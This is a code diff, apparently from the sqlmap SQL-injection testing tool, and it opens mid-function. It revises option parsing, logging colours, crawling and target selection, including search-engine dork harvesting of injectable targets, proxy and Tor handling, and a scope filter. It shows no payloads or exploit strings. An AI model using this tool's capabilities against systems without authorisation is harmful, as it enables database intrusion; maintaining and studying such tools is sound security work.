message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
|
||||||
|
if match:
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
|
||||||
|
string = match.group(1)
|
||||||
|
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||||
|
else:
|
||||||
|
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
||||||
|
|
||||||
|
if prefix:
|
||||||
|
message = "%s%s" % (prefix, message)
|
||||||
|
|
||||||
|
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
|
||||||
|
|
||||||
|
return message
|
||||||
|
|
||||||
disableColor = False
|
disableColor = False
|
||||||
|
|
||||||
for argument in sys.argv:
|
for argument in sys.argv:
|
||||||
@@ -30,7 +102,7 @@ try:
|
|||||||
if disableColor:
|
if disableColor:
|
||||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||||
else:
|
else:
|
||||||
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
|
LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
||||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
||||||
|
|||||||
@@ -1,12 +1,13 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import division
|
from __future__ import division
|
||||||
|
|
||||||
|
import codecs
|
||||||
import functools
|
import functools
|
||||||
import glob
|
import glob
|
||||||
import inspect
|
import inspect
|
||||||
@@ -98,6 +99,7 @@ from lib.core.exception import SqlmapSyntaxException
|
|||||||
from lib.core.exception import SqlmapSystemException
|
from lib.core.exception import SqlmapSystemException
|
||||||
from lib.core.exception import SqlmapUnsupportedDBMSException
|
from lib.core.exception import SqlmapUnsupportedDBMSException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
|
from lib.core.exception import SqlmapValueException
|
||||||
from lib.core.log import FORMATTER
|
from lib.core.log import FORMATTER
|
||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
from lib.core.settings import CODECS_LIST_PAGE
|
from lib.core.settings import CODECS_LIST_PAGE
|
||||||
@@ -109,6 +111,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
|||||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
|
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
|
||||||
from lib.core.settings import DEFAULT_USER_AGENT
|
from lib.core.settings import DEFAULT_USER_AGENT
|
||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
|
from lib.core.settings import IGNORE_CODE_WILDCARD
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
||||||
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
|
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
|
||||||
@@ -118,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
|
|||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
||||||
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
||||||
|
from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
|
||||||
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
||||||
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
@@ -132,7 +136,6 @@ from lib.core.update import update
|
|||||||
from lib.parse.configfile import configFileParser
|
from lib.parse.configfile import configFileParser
|
||||||
from lib.parse.payloads import loadBoundaries
|
from lib.parse.payloads import loadBoundaries
|
||||||
from lib.parse.payloads import loadPayloads
|
from lib.parse.payloads import loadPayloads
|
||||||
from lib.parse.sitemap import parseSitemap
|
|
||||||
from lib.request.basic import checkCharEncoding
|
from lib.request.basic import checkCharEncoding
|
||||||
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
||||||
from lib.request.chunkedhandler import ChunkedHandler
|
from lib.request.chunkedhandler import ChunkedHandler
|
||||||
@@ -314,7 +317,7 @@ def _setRequestFromFile():
|
|||||||
|
|
||||||
if url is None:
|
if url is None:
|
||||||
errMsg = "specified file '%s' " % requestFile
|
errMsg = "specified file '%s' " % requestFile
|
||||||
errMsg += "does not contain a valid HTTP request"
|
errMsg += "does not contain a usable HTTP request (with parameters)"
|
||||||
raise SqlmapDataException(errMsg)
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
if conf.secondReq:
|
if conf.secondReq:
|
||||||
@@ -328,31 +331,24 @@ def _setRequestFromFile():
|
|||||||
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
target = next(parseRequestFile(conf.secondReq, False))
|
try:
|
||||||
kb.secondReq = target
|
target = next(parseRequestFile(conf.secondReq, False))
|
||||||
|
kb.secondReq = target
|
||||||
|
except StopIteration:
|
||||||
|
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
|
||||||
|
errMsg += "does not contain a valid HTTP request"
|
||||||
|
raise SqlmapDataException(errMsg)
|
||||||
|
|
||||||
def _setCrawler():
|
def _setCrawler():
|
||||||
if not conf.crawlDepth:
|
if not conf.crawlDepth:
|
||||||
return
|
return
|
||||||
|
|
||||||
if not any((conf.bulkFile, conf.sitemapUrl)):
|
if not conf.bulkFile:
|
||||||
crawl(conf.url)
|
if conf.url:
|
||||||
else:
|
crawl(conf.url)
|
||||||
if conf.bulkFile:
|
elif conf.requestFile and kb.targets:
|
||||||
targets = getFileItems(conf.bulkFile)
|
target = next(iter(kb.targets))
|
||||||
else:
|
crawl(target[0], target[2], target[3])
|
||||||
targets = parseSitemap(conf.sitemapUrl)
|
|
||||||
for i in xrange(len(targets)):
|
|
||||||
try:
|
|
||||||
target = targets[i]
|
|
||||||
crawl(target)
|
|
||||||
|
|
||||||
if conf.verbose in (1, 2):
|
|
||||||
status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
|
|
||||||
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
|
|
||||||
except Exception as ex:
|
|
||||||
errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
|
|
||||||
logger.error(errMsg)
|
|
||||||
|
|
||||||
def _doSearch():
|
def _doSearch():
|
||||||
"""
|
"""
|
||||||
@@ -390,7 +386,7 @@ def _doSearch():
|
|||||||
links = retrieve()
|
links = retrieve()
|
||||||
|
|
||||||
if kb.targets:
|
if kb.targets:
|
||||||
infoMsg = "sqlmap got %d results for your " % len(links)
|
infoMsg = "found %d results for your " % len(links)
|
||||||
infoMsg += "search dork expression, "
|
infoMsg += "search dork expression, "
|
||||||
|
|
||||||
if len(links) == len(kb.targets):
|
if len(links) == len(kb.targets):
|
||||||
@@ -403,7 +399,7 @@ def _doSearch():
|
|||||||
break
|
break
|
||||||
|
|
||||||
else:
|
else:
|
||||||
message = "sqlmap got %d results " % len(links)
|
message = "found %d results " % len(links)
|
||||||
message += "for your search dork expression, but none of them "
|
message += "for your search dork expression, but none of them "
|
||||||
message += "have GET parameters to test for SQL injection. "
|
message += "have GET parameters to test for SQL injection. "
|
||||||
message += "Do you want to skip to the next result page? [Y/n]"
|
message += "Do you want to skip to the next result page? [Y/n]"
|
||||||
@@ -429,6 +425,9 @@ def _setBulkMultipleTargets():
|
|||||||
|
|
||||||
found = False
|
found = False
|
||||||
for line in getFileItems(conf.bulkFile):
|
for line in getFileItems(conf.bulkFile):
|
||||||
|
if conf.scope and not re.search(conf.scope, line, re.I):
|
||||||
|
continue
|
||||||
|
|
||||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
||||||
found = True
|
found = True
|
||||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||||
@@ -437,23 +436,6 @@ def _setBulkMultipleTargets():
|
|||||||
warnMsg = "no usable links found (with GET parameters)"
|
warnMsg = "no usable links found (with GET parameters)"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
def _setSitemapTargets():
|
|
||||||
if not conf.sitemapUrl:
|
|
||||||
return
|
|
||||||
|
|
||||||
infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
found = False
|
|
||||||
for item in parseSitemap(conf.sitemapUrl):
|
|
||||||
if re.match(r"[^ ]+\?(.+)", item, re.I):
|
|
||||||
found = True
|
|
||||||
kb.targets.add((item.strip(), None, None, None, None))
|
|
||||||
|
|
||||||
if not found and not conf.forms and not conf.crawlDepth:
|
|
||||||
warnMsg = "no usable links found (with GET parameters)"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
def _findPageForms():
|
def _findPageForms():
|
||||||
if not conf.forms or conf.crawlDepth:
|
if not conf.forms or conf.crawlDepth:
|
||||||
return
|
return
|
||||||
@@ -465,21 +447,26 @@ def _findPageForms():
|
|||||||
infoMsg = "searching for forms"
|
infoMsg = "searching for forms"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
|
if not any((conf.bulkFile, conf.googleDork)):
|
||||||
page, _, _ = Request.queryPage(content=True)
|
page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
|
||||||
if findPageForms(page, conf.url, True, True):
|
if findPageForms(page, conf.url, True, True):
|
||||||
found = True
|
found = True
|
||||||
else:
|
else:
|
||||||
if conf.bulkFile:
|
if conf.bulkFile:
|
||||||
targets = getFileItems(conf.bulkFile)
|
targets = getFileItems(conf.bulkFile)
|
||||||
elif conf.sitemapUrl:
|
|
||||||
targets = parseSitemap(conf.sitemapUrl)
|
|
||||||
elif conf.googleDork:
|
elif conf.googleDork:
|
||||||
targets = [_[0] for _ in kb.targets]
|
targets = [_[0] for _ in kb.targets]
|
||||||
kb.targets.clear()
|
kb.targets.clear()
|
||||||
|
else:
|
||||||
|
targets = []
|
||||||
|
|
||||||
for i in xrange(len(targets)):
|
for i in xrange(len(targets)):
|
||||||
try:
|
try:
|
||||||
target = targets[i]
|
target = targets[i].strip()
|
||||||
|
|
||||||
|
if not re.search(r"(?i)\Ahttp[s]*://", target):
|
||||||
|
target = "http://%s" % target
|
||||||
|
|
||||||
page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
|
page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
|
||||||
if findPageForms(page, target, False, True):
|
if findPageForms(page, target, False, True):
|
||||||
found = True
|
found = True
|
||||||
@@ -692,7 +679,7 @@ def _setDBMS():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.dbms = conf.dbms.lower()
|
conf.dbms = conf.dbms.lower()
|
||||||
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I)
|
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I)
|
||||||
|
|
||||||
if regex:
|
if regex:
|
||||||
conf.dbms = regex.group(1)
|
conf.dbms = regex.group(1)
|
||||||
@@ -1017,7 +1004,7 @@ def _setHTTPHandlers():
|
|||||||
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
|
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
hostnamePort = _.netloc.split(":")
|
hostnamePort = _.netloc.rsplit(":", 1)
|
||||||
|
|
||||||
scheme = _.scheme.upper()
|
scheme = _.scheme.upper()
|
||||||
hostname = hostnamePort[0]
|
hostname = hostnamePort[0]
|
||||||
@@ -1154,14 +1141,14 @@ def _setSafeVisit():
|
|||||||
errMsg = "invalid format of a safe request file"
|
errMsg = "invalid format of a safe request file"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
else:
|
else:
|
||||||
if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
|
if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
|
||||||
if ":443/" in conf.safeUrl:
|
if ":443/" in conf.safeUrl:
|
||||||
conf.safeUrl = "https://" + conf.safeUrl
|
conf.safeUrl = "https://%s" % conf.safeUrl
|
||||||
else:
|
else:
|
||||||
conf.safeUrl = "http://" + conf.safeUrl
|
conf.safeUrl = "http://%s" % conf.safeUrl
|
||||||
|
|
||||||
if (conf.safeFreq or 0) <= 0:
|
if (conf.safeFreq or 0) <= 0:
|
||||||
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
|
errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
def _setPrefixSuffix():
|
def _setPrefixSuffix():
|
||||||
@@ -1223,7 +1210,7 @@ def _setHTTPAuthentication():
|
|||||||
|
|
||||||
elif not conf.authType and conf.authCred:
|
elif not conf.authType and conf.authCred:
|
||||||
errMsg = "you specified the HTTP authentication credentials, "
|
errMsg = "you specified the HTTP authentication credentials, "
|
||||||
errMsg += "but did not provide the type"
|
errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
|
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
|
||||||
@@ -1273,8 +1260,8 @@ def _setHTTPAuthentication():
|
|||||||
from ntlm import HTTPNtlmAuthHandler
|
from ntlm import HTTPNtlmAuthHandler
|
||||||
except ImportError:
|
except ImportError:
|
||||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||||
errMsg += "in order to authenticate via NTLM, "
|
errMsg += "in order to authenticate via NTLM. Download from "
|
||||||
errMsg += "https://github.com/mullender/python-ntlm"
|
errMsg += "'https://github.com/mullender/python-ntlm'"
|
||||||
raise SqlmapMissingDependence(errMsg)
|
raise SqlmapMissingDependence(errMsg)
|
||||||
|
|
||||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
|
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
|
||||||
@@ -1442,7 +1429,10 @@ def _setHTTPTimeout():
|
|||||||
else:
|
else:
|
||||||
conf.timeout = 30.0
|
conf.timeout = 30.0
|
||||||
|
|
||||||
socket.setdefaulttimeout(conf.timeout)
|
try:
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
except OverflowError as ex:
|
||||||
|
raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
|
||||||
|
|
||||||
def _checkDependencies():
|
def _checkDependencies():
|
||||||
"""
|
"""
|
||||||
@@ -1544,6 +1534,13 @@ def _cleanupOptions():
|
|||||||
Cleanup configuration attributes.
|
Cleanup configuration attributes.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.encoding:
|
||||||
|
try:
|
||||||
|
codecs.lookup(conf.encoding)
|
||||||
|
except LookupError:
|
||||||
|
errMsg = "unknown encoding '%s'" % conf.encoding
|
||||||
|
raise SqlmapValueException(errMsg)
|
||||||
|
|
||||||
debugMsg = "cleaning up configuration parameters"
|
debugMsg = "cleaning up configuration parameters"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
@@ -1565,11 +1562,14 @@ def _cleanupOptions():
|
|||||||
conf.testParameter = []
|
conf.testParameter = []
|
||||||
|
|
||||||
if conf.ignoreCode:
|
if conf.ignoreCode:
|
||||||
try:
|
if conf.ignoreCode == IGNORE_CODE_WILDCARD:
|
||||||
conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
|
conf.ignoreCode = xrange(0, 1000)
|
||||||
except ValueError:
|
else:
|
||||||
errMsg = "options '--ignore-code' should contain a list of integer values"
|
try:
|
||||||
raise SqlmapSyntaxException(errMsg)
|
conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
|
||||||
|
except ValueError:
|
||||||
|
errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
else:
|
else:
|
||||||
conf.ignoreCode = []
|
conf.ignoreCode = []
|
||||||
|
|
||||||
@@ -1637,16 +1637,13 @@ def _cleanupOptions():
|
|||||||
if conf.fileDest:
|
if conf.fileDest:
|
||||||
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
|
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
|
||||||
|
|
||||||
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
|
|
||||||
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
|
|
||||||
|
|
||||||
if conf.msfPath:
|
if conf.msfPath:
|
||||||
conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
|
conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
|
||||||
|
|
||||||
if conf.tmpPath:
|
if conf.tmpPath:
|
||||||
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
|
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
|
||||||
|
|
||||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)):
|
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)):
|
||||||
conf.multipleTargets = True
|
conf.multipleTargets = True
|
||||||
|
|
||||||
if conf.optimize:
|
if conf.optimize:
|
||||||
@@ -1741,8 +1738,7 @@ def _cleanupOptions():
|
|||||||
conf.__setitem__(_, True)
|
conf.__setitem__(_, True)
|
||||||
|
|
||||||
if conf.noCast:
|
if conf.noCast:
|
||||||
for _ in list(DUMP_REPLACEMENTS.keys()):
|
DUMP_REPLACEMENTS.clear()
|
||||||
del DUMP_REPLACEMENTS[_]
|
|
||||||
|
|
||||||
if conf.dumpFormat:
|
if conf.dumpFormat:
|
||||||
conf.dumpFormat = conf.dumpFormat.upper()
|
conf.dumpFormat = conf.dumpFormat.upper()
|
||||||
@@ -1754,10 +1750,29 @@ def _cleanupOptions():
|
|||||||
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
|
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
|
||||||
|
|
||||||
if conf.exclude:
|
if conf.exclude:
|
||||||
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
regex = False
|
||||||
|
if any(_ in conf.exclude for _ in ('+', '*')):
|
||||||
|
try:
|
||||||
|
re.compile(conf.exclude)
|
||||||
|
except re.error:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
regex = True
|
||||||
|
|
||||||
|
if not regex:
|
||||||
|
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
||||||
|
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
||||||
|
|
||||||
if conf.binaryFields:
|
if conf.binaryFields:
|
||||||
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
|
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||||
|
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
|
||||||
|
|
||||||
|
envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
|
||||||
|
if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
|
||||||
|
debugMsg = "using environment proxy '%s'" % envProxy
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.proxy = envProxy
|
||||||
|
|
||||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||||
conf.disablePrecon = True
|
conf.disablePrecon = True
|
||||||
@@ -1817,7 +1832,6 @@ def _setConfAttributes():
|
|||||||
conf.path = None
|
conf.path = None
|
||||||
conf.port = None
|
conf.port = None
|
||||||
conf.proxyList = None
|
conf.proxyList = None
|
||||||
conf.resultsFilename = None
|
|
||||||
conf.resultsFP = None
|
conf.resultsFP = None
|
||||||
conf.scheme = None
|
conf.scheme = None
|
||||||
conf.tests = []
|
conf.tests = []
|
||||||
@@ -1885,6 +1899,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
|
|
||||||
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
||||||
kb.dep = None
|
kb.dep = None
|
||||||
|
kb.disableHtmlDecoding = False
|
||||||
kb.dnsMode = False
|
kb.dnsMode = False
|
||||||
kb.dnsTest = None
|
kb.dnsTest = None
|
||||||
kb.docRoot = None
|
kb.docRoot = None
|
||||||
@@ -1906,7 +1921,9 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.forcePartialUnion = False
|
kb.forcePartialUnion = False
|
||||||
kb.forceThreads = None
|
kb.forceThreads = None
|
||||||
kb.forceWhere = None
|
kb.forceWhere = None
|
||||||
|
kb.forkNote = None
|
||||||
kb.futileUnion = None
|
kb.futileUnion = None
|
||||||
|
kb.fuzzUnionTest = None
|
||||||
kb.heavilyDynamic = False
|
kb.heavilyDynamic = False
|
||||||
kb.headersFile = None
|
kb.headersFile = None
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
@@ -1927,6 +1944,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.injections = []
|
kb.injections = []
|
||||||
kb.laggingChecked = False
|
kb.laggingChecked = False
|
||||||
kb.lastParserStatus = None
|
kb.lastParserStatus = None
|
||||||
|
kb.lastCtrlCTime = None
|
||||||
|
|
||||||
kb.locks = AttribDict()
|
kb.locks = AttribDict()
|
||||||
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
||||||
@@ -1990,7 +2008,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.reduceTests = None
|
kb.reduceTests = None
|
||||||
kb.tlsSNI = {}
|
kb.tlsSNI = {}
|
||||||
kb.stickyDBMS = False
|
kb.stickyDBMS = False
|
||||||
kb.storeCrawlingChoice = None
|
|
||||||
kb.storeHashesChoice = None
|
kb.storeHashesChoice = None
|
||||||
kb.suppressResumeInfo = False
|
kb.suppressResumeInfo = False
|
||||||
kb.tableFrom = None
|
kb.tableFrom = None
|
||||||
@@ -2004,16 +2021,22 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.threadException = False
|
kb.threadException = False
|
||||||
kb.tableExistsChoice = None
|
kb.tableExistsChoice = None
|
||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
|
kb.udfFail = False
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
|
kb.unionTemplate = None
|
||||||
|
kb.webSocketRecvCount = None
|
||||||
kb.wizardMode = False
|
kb.wizardMode = False
|
||||||
kb.xpCmdshellAvailable = False
|
kb.xpCmdshellAvailable = False
|
||||||
|
|
||||||
if flushAll:
|
if flushAll:
|
||||||
|
kb.checkSitemap = None
|
||||||
kb.headerPaths = {}
|
kb.headerPaths = {}
|
||||||
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
||||||
|
kb.normalizeCrawlingChoice = None
|
||||||
kb.passwordMgr = None
|
kb.passwordMgr = None
|
||||||
kb.preprocessFunctions = []
|
kb.preprocessFunctions = []
|
||||||
kb.skipVulnHost = None
|
kb.skipVulnHost = None
|
||||||
|
kb.storeCrawlingChoice = None
|
||||||
kb.tamperFunctions = []
|
kb.tamperFunctions = []
|
||||||
kb.targets = OrderedSet()
|
kb.targets = OrderedSet()
|
||||||
kb.testedParams = set()
|
kb.testedParams = set()
|
||||||
@@ -2202,6 +2225,13 @@ def _mergeOptions(inputOptions, overrideOptions):
|
|||||||
if hasattr(conf, key) and conf[key] is None:
|
if hasattr(conf, key) and conf[key] is None:
|
||||||
conf[key] = value
|
conf[key] = value
|
||||||
|
|
||||||
|
if conf.unstable:
|
||||||
|
if key in ("timeSec", "retries", "timeout"):
|
||||||
|
conf[key] *= 2
|
||||||
|
|
||||||
|
if conf.unstable:
|
||||||
|
conf.forcePartial = True
|
||||||
|
|
||||||
lut = {}
|
lut = {}
|
||||||
for group in optDict.keys():
|
for group in optDict.keys():
|
||||||
lut.update((_.upper(), _) for _ in optDict[group])
|
lut.update((_.upper(), _) for _ in optDict[group])
|
||||||
@@ -2447,6 +2477,17 @@ def _basicOptionValidation():
|
|||||||
errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.paramExclude:
|
||||||
|
try:
|
||||||
|
re.compile(conf.paramExclude)
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.cookieDel and len(conf.cookieDel):
|
||||||
|
errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.crawlExclude:
|
if conf.crawlExclude:
|
||||||
try:
|
try:
|
||||||
re.compile(conf.crawlExclude)
|
re.compile(conf.crawlExclude)
|
||||||
@@ -2454,6 +2495,13 @@ def _basicOptionValidation():
|
|||||||
errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.scope:
|
||||||
|
try:
|
||||||
|
re.compile(conf.scope)
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex))
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.dumpTable and conf.dumpAll:
|
if conf.dumpTable and conf.dumpAll:
|
||||||
